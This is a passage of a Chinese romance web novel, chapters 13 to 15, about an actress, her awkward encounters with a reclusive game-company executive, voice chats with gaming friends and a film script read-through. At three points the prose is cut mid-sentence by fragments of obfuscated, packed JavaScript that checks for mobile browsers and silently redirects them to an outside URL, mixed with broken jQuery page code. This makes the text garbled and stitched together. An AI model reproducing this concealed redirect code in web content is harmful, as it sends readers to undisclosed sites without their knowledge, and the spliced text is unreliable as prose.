l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290591|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水中探出半个脑袋,水线停留在鼻息之下,这个程度刚刚好,不会太显眼,也不影响她观察四周。 泳池右侧的尽头处,男人依旧靠坐在原位,浴袍微敞开,露出冷白的胸口。 明明独自享用泳池是再好不过的事,可看到角落里的人,她心中某处空落竟慢慢被池水填满。 颜屿低着头,把手机横拿在身前,似乎在打游戏。 元时亦视力很好,只是这会儿泳池里的光线并不算明亮,想要看得更清楚,需要,再凑近一点。 她轻轻摆动双腿,如玉般的肢体在水中拨动出一簇簇细小水花,水花绕于足尖,还未来得及冲出水面就消散不见,让人不易发觉。 躺床上,颜屿一动不动盯着手机,双眼垂下,表情很懒散,细碎的刘海贴在额前,黑发湿漉,杂乱地搭着,立体的五官变得柔和。 元时亦不自觉屏住呼吸,眼前之人,与平时一贯正经的模样,有点不太一样。 视野逐渐清晰,看他的手势,应该是在玩《诸灵》? 也对,好歹是他参与研发的游戏,肯定会亲自体验体验。 不知道他在哪个服,又会玩什么角色? 好像正在打11。 手速好快。 他头发好像还没擦干,有水滴下来了。 元时亦目光往后轻飘,黑发发尾也落下了一滴水珠,顺着脖颈往锁骨、胸口处流淌。 ——是之前被她撞上的位置。 停! 她在联想些什么? 而且,她怎怎怎么一下看得这么清楚了? !!! 元时亦猛然间回神,不知不觉,她竟已来到泳池的最右侧,再往前,就将抵达泳池边缘。 一阵慌乱涌出,元时亦立刻缩回水下,憋着气游开一段距离,才敢再次探出眼睛。 平静下来后,她又感觉哪里不太对。 她刚才已离得那样近,颜屿都没有发现她吗?不是认出她来,而是发现有人在向他的方向靠近。 以及,他手机拿得是不是也有点近了,还是说,因为在打PVP,所以格外认真,聚精汇神? 忽然,那边响起一阵手机铃声,打断了元时亦的各种思绪。 对啊,她是来游泳的,现在这是在干嘛呢? 不好好练习就算了,还浪费了这么久时间! 元时亦一时之间有些恼怒自己,拍打着池水,迅速向深处游去。 而身后,只传来一点被浪花扑灭的细碎之声。 “没空。” “不……几点……” “现在?” …… 游完数圈,元时亦打算上岸休息一会,太久不来游泳,身体还不是很适应。运动这种事,都得讲究循序渐进,不能操之过急。 她扶着扶手向上走去,包裹住全身的池水在不断下坠,感受到裙子处传来的一点阻力,她停顿住,用一只手拧了下,再抬头时,正好看见向她走来的身影。 颜屿的身形很优越,穿上衣服时整个人修长而优雅,行走间却又不失力量感,元时亦不小心多看了眼,裸露在外的小腿,和迈步时偶尔露出的胸腹,果然都布满着恰到好处的肌肉。 传说中的“穿衣显瘦脱衣有肉”,元时亦其实在圈内见过不少,可诠释得这么完美的,大概要属这位圈外人。 暖风拂过,吹动元时亦每一寸肌肤。 既然都迎面碰上了,她也该去主动打个招呼。 “颜总,”元时亦在岸边停下,看着来人不断靠近,心中顿时打起小鼓,“好——” 然而。 “巧”字还未说出口,颜屿就这样直直地从她面前走过,略过她,无视她,一步未停,甚至没有看过来一眼。 鼓声停止,元时亦呆愣愣地停留在原地。 她这是,被无视了吗? 13. 发泄 元时亦脸上似有火烧,差点没忍住重新跳回池子里去。 他就这么走了? 对啊,她怎么忘了,这可是个记仇的男人。 上次她没能听他把话说完,这次他“还”回来,好像也没什么问题。 就是,这地儿,她是绝对不可以再待下去了。 元时亦双手轻拍两下发烫的脸颊,往相反的方向快速离去。 这股尴尬的情绪一直持续到晚上的周本活动,才被暂时屏蔽掉。 周三月是察言观色的小能手,副本打到一半,队伍里依旧“死气沉沉”,平日里的聊天搭子仿佛隐身了:“亦亦,今天怎么这么沉默,心情不好吗?” 元时亦轻抿嘴唇,原本早上那会儿回到房间,她是想跟三月吐槽这件事的,但一想到那个时间她应该正在睡懒觉,便没去打扰她。当下的那个劲头一过,后面便很难有再提的兴致了,尤其是,这事还不怎么光彩。 “没有。” 钻家也发现了她的变化,清朗的声音在队频中响起:“嘿,发生什么不开心的事了?说出来让我们开心开心。” 元时亦:“……过分了啊,这波小怪你自己清。” “别别别,姐,错了错了。” 平时几人打闹惯了,她知道钻家是句玩笑话,想活跃活跃气氛,没想到与山言也少见地开了口,“怎么了?” 许是他那边收音效果不好,声音传出,仿佛被闷住一般,让人听不清原本音色。 既然连与山言都在问,那她就不好再矫情下去,更何况,这事不发泄一番,一直憋闷在心,还不知要什么时候才能把它忘掉。当然,吐槽之前她也不会忘记“润色”一下。 “其实是个很尴尬的事,”元时亦做好开场介绍,“我这段时间不是接了个新项目吗,认识了个‘奇怪’的甲方。” “怎么个奇怪法?” “他先diss我,结果后面又,不对,我这是说哪儿了,我是想说早上我去健身,然后碰见他了。” “……” “然后呢?”钻家猜测下去:“他说什么奇怪的话让你不高兴了?” 不等元时亦继续,他顺着话头也发起牢骚来,“虽然我这里的‘甲方’跟你们那边不太一样,但心情我很能理解,有时候我遇到一些说话离谱的病人,能气得我三天吃不好饭。” 元时亦嘴角垂下,“他要是说了什么话倒还好了。” 三个问号出现。 “他就是什么话都没说。”元时亦语气不忿,“我主动跟他打招呼,结果他居然无视我,直接从我面前走过去了。” “哈?” “那这是让人有点尴尬了,姐妹。” “他直接当着你的面,走过去了?” “对。” “你确定他听到你说话了吗?” “肯定能听到,我们俩当时离得很近。” 近到,她甚至能闻到他浴袍上的洗涤香。 尤其是,他们,也不是那种完全说不上话的陌生关系。 周三月仿佛是察觉到什么,轻咳一声暗示道:“会不会是,报复,嘿嘿,毕竟你之前那样,也算是无视他了嘛。” 钻家雷达作响,“嗯?有八卦?” “我估计也是,”但元时亦还想再狡辩一下,“可我之前又不是故意的,而且我发现后还想补救一下呢……”元时亦越说越小声,真要算下来,她确实不对再先,“可是他这个太明显了,完全就是故意的,哪有人都站在跟前了还当看不见的啊。”这话也一样是事实,她是理亏的那一方不假,但这样的故意忽视太令人难堪,不是一个绅士该有的举动。 “原来是你俩之前有过节啊,”钻家在队频里吃瓜吃得乐呵,“那人家不理你也正常。” 元时亦不爽,“说好的成年人的体面呢?” “哈哈,怕是难了,项目刚开始就给你甩脸子,甲方都是金主爸爸,你只能忍着点咯,”钻家梳理完这其中的利害关系,话锋一转,“反正他又不知道,你就在我们这里骂骂他,发泄发泄,当出气。” 元时亦轻哼一声,“那行吧。”她操作着游戏中的人物,把BOSS想象成颜屿,对着它疯狂放技能。 “停停停,发泄归发泄,别打这么快,BOSS要进下一阶段了——与老板,躲一下!” 钻家声音陡然提高,“躲”字刚刚蹦出来,与山言的尸体就躺在了地上。 “我刚拉了三月,复活还在CD,你先躺会儿吧。” 与山言在队伍里通常是最稳的那一个,极少会犯这种低级错误。元时亦也没想到一向稳健的与山言会走位失误,她心里有气,迁怒到游戏内就一下失了分寸,“抱歉啊与老板,没忍住多放了两个技能。” 与山言声线依旧平和:“没事,是我自己没注——” “……颜叔叔!”突然,一道短暂的叫喊出现,与山言那边立马闭了麦。 因为太过得突兀,队伍内直接静止了一秒。 甘霖打破沉默,“咦,是小孩的声音。” 周三月问:“我也听到了,有小朋友在身边吗?” 【与山言:嗯,家里小孩】 【与山言:这个本打完我先下了,其他的下次再清吧】 “好。” 四人纷纷答应下来,与山言那边明显是有事要忙,剩下的任务得后面再约。 元时亦放出最后一个技能时,回想起方才那道男童声,略带稚气,听起来是十岁左右的孩子,这样看,与老板年纪应该也不小了,再加上他那深沉的音色,难怪他不怎么开麦说话,估计是怕跟他们这几个人有代沟吧。 奖励结算完毕,元时亦拿到一个不错的装备,喜悦冲淡一切,脑中的现场小推断转瞬即散。 时间过得很快,进组前的这几天,元时亦就在泳池跟房间之间两点一线,一个是勉强算室外的全身运动,一个是可以躺在床上只动手指的手部运动,闲暇时再熟悉熟悉剧本,日子过得倒也充实。 正式进入剧组后,最重要的事情就是围读剧本。 应非也的强烈要求,围读时长被拉长至半个月,她要确保每一位演员都能尽量读懂剧本内容,理解好所饰演的角色。 这对元时亦来说是个好事。 她看过演员名单,的确像网上所说的那样,除了她以外,其他所有重要演员,都是有过电影经验的,独她一人,是个从未出演过电影的影圈新兵蛋子。 虽说都是讲故事,但电影的叙事结构与电视剧截然不同,电影时长短,讲究浓缩与精华,就会更加追求故事的冲突与角色的复杂性,相应的,演员在表演上就需要稍作修改,尤其是,电影因为银幕尺寸的关系,对演员的微表情跟肢体动作会有更高要求,任何一个细枝末节都举足轻重。 元时亦刚拿到完整剧本时,花了整整三天的时间通读,阿似的台词并不多,难的是她的微表情。 就像网友们吐槽的那样,阿似并不是一个靠着面无表情就能演好的角色,她的本质是水,无色、无味、无毒,元时亦在家代入时,分别用嘴角向上1°,嘴角不动,嘴角向下1°来区分阿似的喜、怒、哀,然而这样,还远远不够。 那几晚,她嘴角都快要练得抽筋,合上剧本,她得出结论,这是个标标准准的淡人。 可元时亦作为一个偏E的外向人格,想藏住情绪,其实是件相当困难的事。就像那时,她得知颜屿首先排除了自己后,即使知道会面临“被封杀”的风险,也依旧选择表明真实态度。 围读时间被拉长,她就有更多机会与编剧、导演,以及其他演员讨论该如何将角色诠释地更完美。 第一次正式围读在进组后的第三天,前一天晚上最后一位主演匆匆赶到,《诸灵I》的主要角色才总算聚齐。 元时亦特地早起了一点,比约定的时间早了半小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290592|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,却没想到抵达大会议室时,其他几位主演竟已都到了。 “阿似来啦。”一位颜娇姿媚的女演员主动打起招呼,她的左脸上还贴着一张碎纸条。 元时亦以往也进过那种只叫角色名的剧组,目的是为了让演员更好入戏,代入角色,但这样一上来就改称呼的,还是头一遭遇见。 一时之间,她差点没能反应过来,“不好意思,我来晚了。” 元时亦走上前,原来他们正在打斗地主。 三人坐在桌旁的矮几边,那位女演员正对着元时亦,而另外两个男人是稍稍背对的座向,直到元时亦走近,才发现两人的脸上快贴满了纸条。 “不晚不晚,九点开始,现在才八点半呢。”说话的是男主之一,火之灵百里炀,也是阿似的官方CP。 元时亦与他点头示意,因为有角色关系这层原因在,他们二人后面会有很多对手戏,她需要跟这位同事多多熟悉。 至于其他演员之间,元时亦默默看着几人的相处模式,看起来,他们是很相熟的朋友。 而她,不仅是这部剧里唯一零电影经验的主演,还是一匹几乎没有朋友在场的孤狼。 “是的,主要是我俩有晨跑的习惯,所以才来得早。”女演员饰演的是百里炀的妹妹,百里幽,“我俩给大家带了早餐,阿似你吃过了吗?没吃的话那边桌上有很多,你看你喜欢吃什么,随便吃点垫垫,不然一会老江,呸,江导讲起来没个完,午饭都不一定能按时吃。” 剩下的那名男演员指了指脸颊道:“你吃完可以来替我,这俩做局,你看把我脸上给贴的。” 这位饰演的是风之灵,落幻。 “幻哥,这是哪里话啊,要是做局我脸上这些又是啥?” “啊,好,我先去看看。谢谢。” 没有想象中的难以融入,那点初来乍到的生疏感在逐渐消褪。 元时亦来到桌前坐下,桌上品类丰富,中式的饼鸡蛋小笼包,油炸物甜咸粥,西式有三明治鲜蛋糕干面包,口味之全,简直是直接开了个迷你早餐店,看得出,这二人的考虑相当周到。 元时亦拿起一枚鸡蛋在桌上轻轻滚上一圈,顺便巡视了一番会议室。人来得并不算多,除了几位主演外,只有几位工作人员三三两两坐在周围。 比她想象中好,至少这几位看起来相当敬业。 不像她以前拍的某部剧,男主全程围读没出现过不说,拍戏期间还耍大牌、迟到、多次NG,要不是她出演的只是个跟男主没什么对手戏的女三,肯定会被气个半死。 只不过,元时亦轻咬一口鸡蛋,这几位主演都是电影出身,从出道起就只走电影这条路,哪怕出演百里炀的这一位中途混了下剧圈,最后也带了个最佳男配走,当时还被很多网友调侃,演电影的去演电视剧就是降维打击哈。 江燚选择她是因为外表符合角色,有可取之处,那其他几位呢,总不能也是同样的原因吧? 这样看来,演技一事上,他们要比她有优势得多。 入口的食物一下变得干巴巴,元时亦机械地嚼着,前一晚被周三月打的鸡血好像一下子流干了。 一杯星巴克被及时递过来,“小元,来,咖啡。” 元时亦抬头,是江燚。 “哟,几位到的挺早嘛。” “江导,早上好。” “哇,咖啡终于到啦!” “呜呜,我们两个笨蛋忘记买喝的了,感谢江导,朝廷的赈灾粮终于下来了!” 江燚身后,是几名拎着数杯咖啡的工作人员。 以及—— 元时亦视线微移,颜屿伫立在门边,挺括而正式的全手工定制西装,勾勒出他完美的身形,他就那样安静地站着,笔挺、俊雅,像一尊人体雕塑。 是第一次见到他时的模样。 只是多了,元时亦双眸微怔,一副架在高挺鼻梁上的银边眼镜。 14. 围读 眼镜? 银色的方形窄框,边框很细,近乎透明。低调雅致,是颜屿一贯的风格。 元时亦没忍住多盯着他看了一会儿,只是一个很细微的差别,却让她有些挪不开眼。 眼镜,很适合他。 可是戴眼镜的话,夹小笼包的筷子慢下来,那不是说明—— “颜总是近视啊?” 身侧传来一阵轻微的讨论声,音量控制得很好,正好只传到元时亦这里。 “是啊,度数好像还有点高吧。”江燚今天的心情似乎很好,话一下多起来,“我认识他那会儿他就一直戴着,前段时间才摘下来,今天不知怎么又戴上了。” “哇喔,”是舒妤,也就是百里幽饰演者的声音,“颜总戴眼镜有点不一样呢。” 饰演落幻的周泽洋点头,“是的,另一种风格的帅。” “没错,就这个禁欲感,太绝了!” 禁欲感。 元时亦保持咀嚼的姿势,垂下上眼皮遮掩住即将溢出的目光。 这个类型在圈内并不算冷门,比如最近很火的撕拉片,就有不少男星专门凹这种造型,但那些多多少少都有演的成分,包括她拍戏时合作过的那些禁欲感系男主,金丝边眼镜,抿唇,皱眉,后退的步伐一言不发,一套流程下来,元时亦都知道哪种打光、哪个机位能更好地凸显出这类人的性张力。 然而脱离了镜头、氛围、滤镜,像颜屿这种活生生出现在现实生活中的禁欲型男人,并不多见。 眼镜框住他雾面的双眼,将那份直达心底的欲望禁锢。带着一股不自知的天然感,让人想要,打碎、入侵。 听到舒妤的夸奖,扮演她兄长的方想不知从哪掏出一副眼镜,不甘示弱道,“那我呢我呢,小妹你看哥哥我戴上怎么样?” 舒妤:“送你四个字。” 周泽洋:“东施效颦。” “咳。”元时亦一个没忍住,轻咳了出来。 “你看,阿似也是这么认为的。” 发现自己被cue,元时亦赶忙侧过身解释,“没有没有,我只是不小心呛到了。”偷听对话被发现是件尴尬的事,但显然,这几人并没有太避讳她。 方想手捂胸口,作痛心疾首状,“唔,心好痛。” “行了,都别贫了,赶紧把这些东西都收拾好,一会开始围读。”江燚敲敲方想身前的桌面,“待会你第一个发言,给大家打个样。” “诶不是,老江,你怎么也跟着他们欺负我啊,好伤心,人家才不想第一个发言……”方想瘪着嘴,将另一只手也按上胸口,语气跟动作都极其浮夸,倒是很符合网上所传的那样:人设大反差——某方姓建模脸男星私底下其实是超绝搞笑男。 江燚没有叫停他的表演,而是配合到:“哼,你明明超想的。”江燚说完一个转身潇洒离去,完全不管旁边二人的死活。 周泽洋、舒妤默契对视:丸,这剧组药丸。 元时亦作为全程围观的现场观众,并未想到,仅仅一个早餐的时间,她不仅见到了方姓男星的私下人设,还亲眼目睹了江大导演的第二人格。 虽然有些意想不到,但莫名的,让她感到安心与放松。她是闯入陌生领地的独狼,却并未嗅到一丝危险的气息。 转过头,江燚已经走到门边,正在和颜屿说话。 嗯,还是门口的这位男人,更让人紧张一点。 会议室外。 江燚下逐客令:“今天就只是个围读,没什么好看的,你不是还有公事要忙,赶紧去吧。”一大早颜屿就跟他发消息说最近正好在横城谈笔生意,可以过来看看,他本来回的是,今天只是开工,还不算正式开机,没啥好盯的,但颜屿说想来看一眼,好吧,那就看一眼吧。 “嗯,”颜屿轻颔首,收回那抹掩藏在镜片后的余光,“走了。” 元时亦的位置离门口稍远,自然是听不到门外的这俩人在说些什么,看样子,颜屿并没有留下来视察的打算,应该,只是过来看一下。 想到这,元时亦松了口气,自从经历了那天的尴尬场面后,她是有一点儿抗拒见到颜屿的,毕竟没人能在让自己丢脸的人面前保持冷静——万幸的是,当时没有其他人在场。 时间一分一秒过去,人员陆续抵达,元时亦收拾好自己吃剩的残渣,端着咖啡找到一个座位坐下。不多时,刚刚那三个贴了纸条都无法掩盖美貌的俊男靓女来到她身边,一左两右坐下来,将她围在中间。 元时亦咽下口中咖啡,心口一阵温热。 已入五月,天气转暖,晨风吹拂树叶,带起沙沙响动。 九点,围读会正式开始。 这是一个人、灵共存的超自然世界,任何一种组成世界的元素都可以通过漫长岁月的生长修炼成为一个完整的个体,祂们并不拘于人形,可以任凭心意在天地间随心所欲地生活,直到,人与灵签订和平条约。 人类保护协会成立后,制定了一套正式的人灵通用法律,用以规范人与灵的关系与行为。 阿似作为人类保护协会的重要成员之一,在晋级任务中发现协会内部存在一股“□□存”势力,他们夺走她费力取得的任务目标,阻止她完成晋升。阿似本就不喜人类,人类弱小又复杂,只擅勾心斗角、尔虞我诈,若不是遵循父母遗愿,她绝不会踏足此处。 借此机会,她主动提出辞职。 “任务失败?”一枚嵌入式协会手环被放置于中央大厅的桌前,“等你们内部达成共识,再来问我为什么会失败。我说的对吗?二部长。” 而故事就从这里开始。 …… 晚七点,围读结束,元时亦直接回了酒店房间。 经历了整整一天的头脑风暴,元时亦现在只想在柔软的大床上静静躺尸。 闭上眼,白天的所有都历历在目,身体虽然很疲惫,精神却极度兴奋,深刻的朗读,激烈的讨论,以及重要戏份的互动演绎,场面一度焦灼,最终的结果却又能求同存异,一切的一切,都让人畅快无比。 她已经很久没有这样开心且自由地发表自己的观点与看法了。 在这个圈子待得越久,她越能理解言行举止的重要性,任何一个不经意间的举动都有可能引发一次误会或偏见,像今天这样不用刻意顾忌地畅所欲言,实在太过难得,值得珍视。 理顺完今天的内容,元时亦从床上坐起,准备吃饭。路芙提前帮她取来了减脂晚餐,最近的这一段时间,她需要稍微控制一下饮食。 点开手机,接下来将是进食与娱乐时间。 周三月的微信消息正好在这时弹出。 【周三月:收工了吗宝,大家都上线啦,4=1~】 【元时亦:来了】 原本按照他们这个亲友队的熟悉程度,是可以组建一个微信群的,方便随时联系,可由于元时亦职业特殊,她需要尽量避免自己的联系方式有暴露在外的可能。所以,目前这几人的联络方式是周三月联系元时亦,甘霖联系与山言和钻家,即使五人不能实时沟通,但有周三月跟甘霖是现实夫妻这层关系在,倒也还算及时。 元时亦刚一进麦,钻家的“哭声”就涌了上来。 钻家:“呜呜亦亦,我今天也遭遇了同款社死。” 周三月看热闹不嫌事大:“怎么,你跟人打招呼也被无视了?” 甘霖开启副本后在频道内发了一个嗑瓜子的表情,与山言紧随其后。 钻家:“那没有,我是无视的那一方。” 元时亦:“……” 元时亦:“那你这是哪门子的同款?!” 【亦有时:[咆哮]】 钻家:“哎呀没差的,因为我无视的是我们院领导……我午休刚醒没戴眼镜,谁知道转角会窜出个人来,尤其是我当时还没有发现,是我同事提醒完我才注意到自己直接从顶头上司面前水灵灵地走过去了啊啊啊!” “是高冷奶爸一枚丫,”周三月发出一阵轻笑:“高冷奶爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290593|182669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶一口,要没血了我。” 钻家:“……” 甘霖:“6的兄弟。老婆你站我后面。” 元时亦:“啧,你还挺大牌呀。” 钻家:“哪有啊,我刚在微信上跟他道歉解释的时候心里都发虚。” 经钻家这么一提,元时亦心中忽然有了一个猜测:“这么说的话,我好像知道那个甲方为什么会无视我了。” 钻家:“哦?为什么?” 周三月:“细说。” 元时亦:“他也近视。他当时嗯……”元时亦回忆一番那天见到颜屿时的场景,离得很近的手机,并不警觉的注意力,还有略显迷茫的双眼,“应该没有戴隐形眼镜。” 周三月:“这样啊,那这样的话好像、或许、勉强能说得通了?” 钻家表示赞同:“确实,我高度近视,要是摘了眼镜,直接原地表演一个五米外六亲不认,十米外人畜不分。” 甘霖:“这么夸张?” 钻家:“没错,这就是我们近视人。” 【与山言:[点头]】 甘霖发表疑问:“可她不是打了招呼吗?就算看不见应该也能听到吧。冲冲冲,下个BOSS。” 听罢,元时亦才想起自己那会儿确实还出了声儿,这么一想,这事似乎又重新绕回了故意为之上。 钻家辩解:“这你就不知道了吧,我们近视人一旦摘了眼镜,不仅会瞎还会聋呢。” 周三月:“可是离那么近都看不清听不到,那得近视到什么程度啊。” 元时亦嚼着西兰花,懒洋洋接下去,“摘掉就会瞎的程度?” 与山言:“没——” 元时亦按技能的手一滑,“啊?” 与山言声音恢复平稳:“没蓝了,我磕瓶药。” “哦哦哦,吓死我了。”元时亦缓口气,“与老板你突然这一声,我差点幻视成那个甲方。” 与山言向来话少,像这样的日常吐槽话题,他通常都是全程旁听,最多发发表情,所以乍一下出声,即使是跟游戏相关的内容,元时亦也一时没能反应过来。 周三月打趣,“他俩声音很像吗?” 元时亦思索一秒,“一点点吧。”毕竟不管是与山言,还是颜屿,她都没有听过他们说太多话。不过仔细辨别一番,还是不太一样的。 周三月起哄道:“那与老板来一段呗。” 元时亦:“?” 周三月:“就说:‘某亦,是我不对,你没有被排除。’要正经一点的那种。” 与山言:“……” 【与山言:确定?】 很显然,这句话是专门来问元时亦的。 元时亦虽然不是很想再去面对这一茬儿,但心中竟然奇怪地冒出一股期待感,她长吐一口气:“来吧。” 一时间,语音频道内默契地安静下来,直到—— 与山言:“某亦,是我不对……” 元时亦立刻叫停:“Stop!太ooc了我的天。可以了与老板,辛苦了。” “哈哈哈哈哈哈。”周三月的大笑回荡在耳麦内,“宝,难道你没有‘大仇得报’的爽感吗?” 元时亦翘起嘴,口出狂言:“哼,除非他恭恭敬敬站在我面前,低声下气这么说。” 同一时刻,横城某家高档酒店的总统套房内,颜屿的手指在与【亦有时】的私聊聊天框前停下,那个没有发出去的“好”字被轻轻删除。 现在,并不是个好时候。 至于,她所以为的,“瞎”的程度—— 颜屿气息加重一瞬,那团灼人的烈火就那样突兀地出现在水中,似要激起千层浪,就如同多年前的那个下午,她毫无征兆地闯入他孤身一人的世界,熯天炽地,无可抵挡。 烈火不可直视,否则,他将难以按捺那颗被灼热而躁动不安的心。 颜屿端起桌前的玻璃杯,咽下一口冰水,日月已穿梭过数千昼夜,他不介意再等一等。 15. 解答 元时亦睡了个满足的好觉,醒来时离闹钟响正好还剩一分钟。 昨天收工前,演员内部自发组建了一个围读小群,方便私下探讨剧本相关的问题。 元时亦点开手机时,群内已经刷了十多条消息。 【幽:大家早上好哇~】 【炀:今日爱心早餐已备好】 【炀:[图片]】 【落幻:谢谢[愉快]】 【谢家主。】 【谢家主。】 【你不是敌军吗你还家主上了?谢家主。】 【谢家主。】 【这不是不想扰乱队形嘛!谢百里先生。】 【谢家主。】 …… 看着后面一溜烟整齐相同的回应,元时亦有些纠结,她要是也回这三个字,好像有点怪怪的。 然而“谢”字才刚打完,路芙的语音电话就打了进来。 “姐!你醒了吗?我看你一直没有回我消息,怕你睡过了。” “醒了。” “好的好的,我这就过来。” 元时亦原本是想着要先回复路芙,结果一点进群聊,注意力就偏离了轨道。 等她挂断电话,重新回到群聊界面时,竟发现自己不小心将那个字发了出去。 【阿似:谢】 “嘶。”元时亦轻吸一口气,时间还没有两分钟,可以撤回! 可惜还是慢了一步,撤回的按钮刚被按出,一支全新的队伍就紧接着出现。 【幽:天,这太阿似了!】 【这太阿似了!】 【这太阿似了!】 …… 元时亦松开手指,行吧。这样,好像也挺不错的。 群聊人数不多,刷屏没持续太久就停止下来,最后一人发完时,群内恰好加进一位新成员。 【“丁”通过扫描“FX”分享的二维码加入群聊】 【是新的小伙伴吗?】 【炀:是嘟】 【幽:欢迎~[鼓掌][鼓掌[鼓掌]围读组织又增加一名成员[悠闲]】 【丁:感谢,不过这周只是围观,下周才算正式加入[握手]】 【落幻:[欢迎]】 【[欢迎]】 接下来便是一连串各式各样的欢迎表情包,元时亦也随手发了个以前从其他群聊里保存的表情。 作为电影中最重要的成员之一,元时亦每一场围读会都必须出席,不过为期半月的围读,也不是为每一场都以主演为主。从提前整理好的计划表来看,前十天为重要角色的剧本分析,剩下几天则是其余所有配角的戏份内容。 虽然非也没有强制性要求当天无戏份的演员也必须参加,但这样精彩的沙龙活动没人会想错过,这位刚刚进群的新人,应该就是带着这样的想法提前过来的。 简单收拾完毕,元时亦拿好昨天做满笔记的剧本,带着路芙一起赶往目的地。 演员围读时,助理一般都在隔壁休息室等候,二人沟通完今天需要处理的工作,在会议室门口分别。 元时亦依旧提前了半小时,不过今天到的人要比昨天多一些,应该是方想的“爱心早餐”起了作用,桌上摆满半开的保温盒,周围已围了一圈人。 “阿似!” 昨天的那三只,依旧是熟悉的地点,熟悉的配方——斗地主。 舒妤朝她道,“还是鸡蛋跟小笼包吗?我们这边有,那儿人多,你可以在这里吃。” “好。”元时亦走过去,熟练地拉开椅子坐下。 今日战况已大不相同,舒妤跟方想脸上都是纸条,而周泽洋一张俊脸空空如也。 不等元时亦开口问,周泽洋就率先解释到:“我今天请了场外援助,他俩还想做局,想都不要想。顺子,要不要?”话罢,他转头去看周围,“诶,我援助哥呢?” “你援助哥去洗手间了,”方想眉眼下压,露出一个阴森森的坏笑,“管上!” 舒妤接收到信号,轻点头,“过。” “不是,他地主你还过?我们才是一边的!” 舒妤随意地绕起一根纸条,裸露在外的一双眼露出不怀好意:“我没牌当然得过呀。” “怎么可能,给我看看!”周泽洋说着就凑前身子想要看牌。 方想一个抬手打断:“不许作弊嗷。” 最终,在元时亦吃完一整个鸡蛋时,周泽洋双拳难敌四手,被摁着贴了十多张撕得整整齐齐的碎纸。 “斯多普!斯多普!我就输一局有这么多纸要贴吗?!” “这不得趁着援助哥不在的时候多贴点,”方想把自己脸上的纸条也扯下来贴到周泽洋脸上,“可惜,纸还是带少了。”他转头望向元时亦,“阿似你带草稿纸了吗?或者不重要的废纸也可以。” 元时亦摇头,“我只拿了剧本。”说完,她翻开平放在腿前的文件给方想看了一眼。 不想这一举动惊得方想立即停下手上动作,而受害人周泽洋托此福气总算能从魔爪中逃离出来。 “你怎么记了这么多笔记?”方想瞪大双眼指了指,“能给我看看吗?” “嗯。”元时亦点头,将手中的东西递给他,昨天是舒妤跟周泽洋坐在她两侧,方想在周泽洋另一边,自然就没看到她写了这么多内容。 方想翻着元时亦的剧本,脸色越翻越白,“完了完了,你怎么写得这么好,老江说今天要查后面两场戏的理解,我这没动几个字的不是要炸了。” 舒妤将最后一张纸条从脸颊上摘下,“你那是没动几个字吗?你那剧本崭新的,都可以直接拿去给其他人用了。” 方想虽是在夸奖,元时亦却没有感到多开心,因为他们与她,显然是不同的。昨天念台词时,她就已经感受到了自己跟其他几位主演的差距,江燚跟非也并未表示她念得不好,但也没有说好,像方想,即使非也有批评过他几处情绪不对,理解错误,可几次提点后,他渐入佳境,几乎完全代入到了百里炀这一角色中,最后那场他与周泽洋的高光对手戏收获了一致好评,掌声不断,一天的围读工作就在这样的氛围中完美收工,这对元时亦来说,是羡慕,更是激励。 元时亦接过方想还回来的剧本,“没有,我是怕自己演不好,所以想都写下来。多思考多问,笨鸟先飞嘛。” 舒妤立刻从椅子上坐起,“没有啊,你演得很好。阿似这个角色情绪太平太淡了,尺度不好拿捏,你做得已经很不错了。” “对,我们几个还是沾了人物性格的光,情绪外放的角色好演。”周泽洋清理着矮几上的扑克牌,“要是我拿到一个这样平的角色,我也不知道怎样才能演出来。” 方想则是发表了另一种观点,“其实演不演的另说,你这个外表就已经成功了一半。” “谢谢,”元时亦轻笑道:“这么说,我还是有一点优势的。” 没想到几人会一起安慰自己,元时亦心中升起一股暖意,只不过,她又何尝不是沾了角色的光呢,网上都认为她情绪太平没有起伏,演阿似也算得上是一种本色出演,尤其外形一事上,她的确符合,但于她自己而言,真正担心的,其实是这种演出的“淡”无法让人代入。她承认,以往拍戏时,确实有过共鸣不了人物经历,无法理解角色为什么会有这么强烈情绪波动的时候,于是最终呈现的效果就是悲伤不到位,快乐也不到位,这种情况下产生的“平淡”是出于不理解,可阿似这一角色不同,阿似的“淡”是因为不显情绪,而这一点又跟她藏不住情绪相悖,一定要论的话,她这个本色最多只能占一半。 “是很大优势。”方想出声纠正,“老江其实最在意这点,要不是我这张邪魅狂狷的男主脸,他早就定其他人了,哎,你们不知道,为了能演好这个角色,我挨了他多少顿骂,做出了多么大的努力,又做出了多么大的牺牲。” “你是说昨天晚上牺牲我的睡眠时间然后游戏疯狂坑我的努力吗?” 方想赶紧捂住周泽洋的嘴。 舒妤点评:“那你是挺该骂的。” “其实我们这几个还好啦,只是外表相符,你不知道今天新来的这位,就是刚刚提到的援助哥,保准你见了立马就能知道他是谁。” 立马就能知道? 被方想这样一说,元时亦的好奇心不免被勾起来,一眼就能认出,那得符合到什么程度? “来了,说曹操曹操到。” ! 元时亦口中的包子还没来得及嚼完,一道沉稳的声音就出现在身侧。 “阿似,你好。” 